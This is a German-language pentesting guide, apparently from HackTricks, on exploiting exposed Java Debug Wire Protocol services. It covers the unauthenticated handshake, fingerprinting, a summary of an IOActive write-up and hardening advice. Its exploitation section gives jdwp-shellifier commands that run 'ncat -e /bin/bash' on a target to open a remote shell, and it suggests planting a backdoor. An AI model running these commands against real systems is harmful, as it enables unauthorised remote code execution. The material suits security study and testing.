Pentesting JDWP - Java Debug Wire Protocol

Support HackTricks

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

Ausnutzen

Die Ausnutzung von JDWP basiert auf dem Fehlen von Authentifizierung und Verschlüsselung des Protokolls. Es wird normalerweise auf Port 8000 gefunden, aber andere Ports sind möglich. Die erste Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerabdruckmethode zur Identifizierung von JDWP-Diensten im Netzwerk.

In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.

Das bevorzugte Tool ist jdwp-shellifier. Sie können es mit verschiedenen Parametern verwenden:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Ich habe festgestellt, dass die Verwendung von --break-on 'java.lang.String.indexOf' den Exploit stabiler macht. Und wenn Sie die Möglichkeit haben, ein Backdoor auf den Host hochzuladen und es auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.

Weitere Details

Dies ist eine Zusammenfassung von https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Überprüfen Sie es für weitere Details.

  1. JDWP Übersicht:

  • Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.

  • Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es feindlichen Netzwerken ausgesetzt ist.

  1. JDWP Handshake:

  • Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14-Zeichen-ASCII-String „JDWP-Handshake“ wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.

  1. JDWP Kommunikation:

  • Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flag und CommandSet.

  • Die Werte des CommandSet reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.

  1. Ausnutzung:

  • JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.

  • Der Artikel beschreibt einen Ausnutzungsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.

  1. Echte Ausnutzung:

  • Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien entdeckbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert.

  • Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig, was zuverlässige Remote Code Execution (RCE) bietet.

  1. Sicherheitsimplikationen:

  • Das Vorhandensein offener JDWP-Dienste im Internet unterstreicht die Notwendigkeit regelmäßiger Sicherheitsüberprüfungen, das Deaktivieren von Debug-Funktionen in der Produktion und ordnungsgemäße Firewall-Konfigurationen.

Referenzen:

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

Unterstützen Sie HackTricks

Last updated